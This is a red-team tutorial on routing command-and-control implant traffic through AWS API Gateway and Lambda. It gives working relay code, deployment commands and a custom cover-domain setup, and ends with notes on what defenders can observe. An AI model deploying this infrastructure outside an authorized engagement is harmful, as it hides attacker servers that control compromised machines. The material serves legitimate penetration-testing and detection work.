Using AWS Lambda as a C2 Redirector
How to route authorized C2 traffic through API Gateway and AWS Lambda while keeping the team server behind controlled egress.
Redirectors sit between an authorized test target and the team server. They give operators a replaceable public endpoint while keeping the backend out of direct scan results.
Traditional redirectors are usually small VPS instances running Apache, Nginx, or a TCP proxy. API Gateway and Lambda remove the redirector operating system, but they do not remove networking, logging, payload-size, or cost constraints.
There are two addresses to think about: the public API Gateway endpoint and Lambda’s outbound connection to the team server. API Gateway supplies the disposable public endpoint. Reliable backend allowlisting requires Lambda to use controlled VPC egress, normally a NAT gateway or NAT instance with a known public address.
Why use Lambda here
Lambda removes the public proxy VM and the operating system that comes with it. API Gateway gives me a front end I can replace without moving the team server, and it terminates client-side TLS with an AWS-managed or ACM certificate.
Putting the function in a VPC also gives me control over its backend egress. I can route it through a known NAT address, allowlist that address on the team server, and capture the whole deployment in Terraform or CloudFormation. Lambda can absorb short bursts, but account concurrency and API Gateway quotas still apply.
Traffic flow
Authorized test implant -> HTTPS -> API Gateway -> Lambda -> NAT egress -> Team server
The team server allowlists the NAT public address, not a supposed Lambda service range. AWS does not publish a Lambda-only egress range that is suitable for this security-group rule.
This design is an application-layer relay rather than a fully transparent proxy. API Gateway normalizes parts of the HTTP request, Lambda synchronous invocations have payload limits, and some multi-value header behavior requires explicit handling.
The Lambda function
The following Python function handles API Gateway HTTP API payload format 2.0. It preserves the raw query string, forwards bodies for any HTTP method, removes hop-by-hop headers, and keeps TLS verification enabled.
import base64
import os
import http.client
from urllib.parse import urlparse
HOP_BY_HOP = {
"connection", "keep-alive", "proxy-authenticate", "proxy-authorization",
"te", "trailer", "transfer-encoding", "upgrade",
}
def redirector(event, context):
upstream = urlparse(os.environ["TEAMSERVER"])
if upstream.scheme != "https" or not upstream.hostname:
raise ValueError("TEAMSERVER must be an https URL")
raw_path = event.get("rawPath") or event["requestContext"]["http"]["path"]
raw_query = event.get("rawQueryString", "")
path = raw_path + (f"?{raw_query}" if raw_query else "")
inbound = {
k: v for k, v in event.get("headers", {}).items()
if k.lower() not in HOP_BY_HOP | {"host", "content-length"}
}
inbound["Host"] = upstream.netloc
if event.get("cookies"):
inbound["Cookie"] = "; ".join(event["cookies"])
# Decode body if present
body = b""
if event.get("body") is not None:
if event.get("isBase64Encoded", False):
body = base64.b64decode(event["body"])
else:
body = event["body"].encode()
conn = None
try:
conn = http.client.HTTPSConnection(
upstream.hostname,
upstream.port or 443,
timeout=10
)
method = event["requestContext"]["http"]["method"].upper()
conn.request(method, path, body=body or None, headers=inbound)
resp = conn.getresponse()
response_headers = {}
response_cookies = []
for key, value in resp.getheaders():
lowered = key.lower()
if lowered in HOP_BY_HOP | {"content-length"}:
continue
if lowered == "set-cookie":
response_cookies.append(value)
else:
existing = response_headers.get(key)
response_headers[key] = f"{existing}, {value}" if existing else value
response_body = resp.read()
result = {
"statusCode": resp.status,
"headers": response_headers,
"body": base64.b64encode(response_body).decode(),
"isBase64Encoded": True,
}
if response_cookies:
result["cookies"] = response_cookies
return result
except Exception:
return {
"statusCode": 502,
"body": "Bad Gateway",
}
finally:
if conn:
conn.close()
Request handling
The function reads the HTTP API v2 event and keeps rawQueryString intact so it does not reconstruct repeated or encoded parameters incorrectly.
It replaces Host, drops connection-specific headers, and rebuilds Cookie from API Gateway’s cookie array.
The upstream connection uses verified TLS, so the team server needs a valid certificate or a private CA bundle packaged with the function.
The response body is base64-encoded to avoid corrupting binary data, while response cookies go into the payload-format-v2 cookies array.
Decisions that matter
The upstream URL lives in an environment variable instead of the source, but anyone who can read the Lambda configuration can still see it. TLS verification stays on because disabling it would make the relay easy to intercept. Base64 handling protects binary data from text conversion, but it does not change Lambda’s 6 MB synchronous request and response limit.
I would not put a C2 profile behind this without an end-to-end test. API Gateway normalizes headers, and its service limits can change behavior that worked against a normal web server.
Deployment
Create the Lambda function
AWS_REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
# Zip the function
zip redirector.zip lambda_function.py
# Create the Lambda function after creating its IAM role and VPC egress
aws lambda create-function \
--function-name c2-redirector \
--runtime python3.12 \
--handler lambda_function.redirector \
--zip-file fileb://redirector.zip \
--role "arn:aws:iam::${ACCOUNT_ID}:role/lambda-exec-role" \
--environment Variables="{TEAMSERVER=https://your-teamserver.com:443}" \
--vpc-config SubnetIds=subnet-private-a,subnet-private-b,SecurityGroupIds=sg-lambda-egress \
--timeout 30 \
--memory-size 128
Create API Gateway
Use an HTTP API (v2) for the simpler, lower-cost request model in this example.
AWS_REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
API_ID=$(aws apigatewayv2 create-api \
--name c2-redirector-api \
--protocol-type HTTP \
--query ApiId --output text)
# Create the Lambda integration
INTEGRATION_ID=$(aws apigatewayv2 create-integration \
--api-id "$API_ID" \
--integration-type AWS_PROXY \
--integration-method POST \
--integration-uri "arn:aws:lambda:${AWS_REGION}:${ACCOUNT_ID}:function:c2-redirector" \
--payload-format-version 2.0 \
--query IntegrationId --output text)
# Allow this API to invoke the function
aws lambda add-permission \
--function-name c2-redirector \
--statement-id apigateway-c2-redirector \
--action lambda:InvokeFunction \
--principal apigateway.amazonaws.com \
--source-arn "arn:aws:execute-api:${AWS_REGION}:${ACCOUNT_ID}:${API_ID}/*/*"
# Create a catch-all route so any path/method is forwarded
aws apigatewayv2 create-route \
--api-id "$API_ID" \
--route-key '$default' \
--target "integrations/${INTEGRATION_ID}"
# Deploy
aws apigatewayv2 create-stage \
--api-id "$API_ID" \
--stage-name '$default' \
--auto-deploy
Substitute the real region, account, role, subnet, and security-group identifiers before running the commands.
The Lambda execution role also needs the VPC network-interface permissions provided by AWSLambdaVPCAccessExecutionRole or an equivalent least-privilege policy.
Configure the C2 listener
Point your implant’s callback to the API Gateway URL. For Cobalt Strike, set the host in your listener config. For Havoc or Sliver, update the callback host in the agent profile.
Route the Lambda private subnets through a NAT gateway or NAT instance with a controlled public address. Then allow that address on the team server.
# Lock down the team server to the NAT public address
aws ec2 authorize-security-group-ingress \
--group-id sg-xxxx \
--protocol tcp --port 443 \
--cidr NAT_PUBLIC_IP/32
Custom domain
The default *.execute-api.amazonaws.com URL works, but it is obviously an API Gateway endpoint.
Attach a custom domain when the engagement needs a hostname that fits the infrastructure plan:
# Create custom domain mapping
aws apigatewayv2 create-domain-name \
--domain-name updates.your-cover-domain.com \
--domain-name-configurations CertificateArn=arn:aws:acm:${AWS_REGION}:${ACCOUNT_ID}:certificate/CERT_ID
# Map it to your API
aws apigatewayv2 create-api-mapping \
--api-id "$API_ID" \
--domain-name updates.your-cover-domain.com \
--stage '$default'
Create an A or AAAA alias record in Route 53, or the equivalent record at your DNS provider, that points the hostname to the API Gateway regional domain returned by get-domain-name.
Owning a valid certificate and custom hostname makes the endpoint operationally consistent, but it does not make the traffic indistinguishable from legitimate SaaS.
Operational limits
Do not log request bodies or full event objects. Keep enough operational data for troubleshooting and engagement accountability, set an explicit retention period, and treat the logs as sensitive evidence.
Keep the upstream timeout below the API Gateway integration timeout and test the slowest task response you expect.
Synchronous Lambda payloads stop at 6 MB, so large stages and downloads need another channel.
API Gateway throttling also needs deliberate configuration and a test of how the implant handles 429 responses.
Keep the route, Lambda permission, IAM role, VPC attachment, NAT egress, DNS, logging, and teardown in the same infrastructure-as-code project. Lambda compute may cost little at low volume, but a managed NAT gateway can dominate the bill through its hourly and data-processing charges.
What defenders can see
The public side still exposes an API Gateway hostname or a custom domain, TLS metadata, request timing, paths, headers, and payload sizes. Defenders can block the endpoint or domain even when the underlying API Gateway addresses change.
The backend side has a different detection surface. The team server will see the controlled NAT address and the TLS fingerprint produced by the Lambda runtime’s current OpenSSL stack. That fingerprint is version-dependent rather than a universal Lambda JA3 value.
CloudWatch receives anything the function writes to standard output when the execution role and logging configuration allow it.
CloudTrail records Lambda configuration and management activity by default, but individual Invoke calls are data events and require explicit data-event logging.
When I would use it
API Gateway and Lambda are useful when I want a disposable application-layer relay without another public VM. In return, I accept a more complicated AWS control plane, service limits, normalized HTTP behavior, and the cost of controlled NAT egress when the backend needs an allowlist.
It is one infrastructure option, not a default answer. Test the exact profile end to end and record the resulting configuration in the engagement plan.
For a broader overview of C2 infrastructure design, check out the Modern C2 Usage post which covers framework selection, layered architecture, and evasion tradecraft.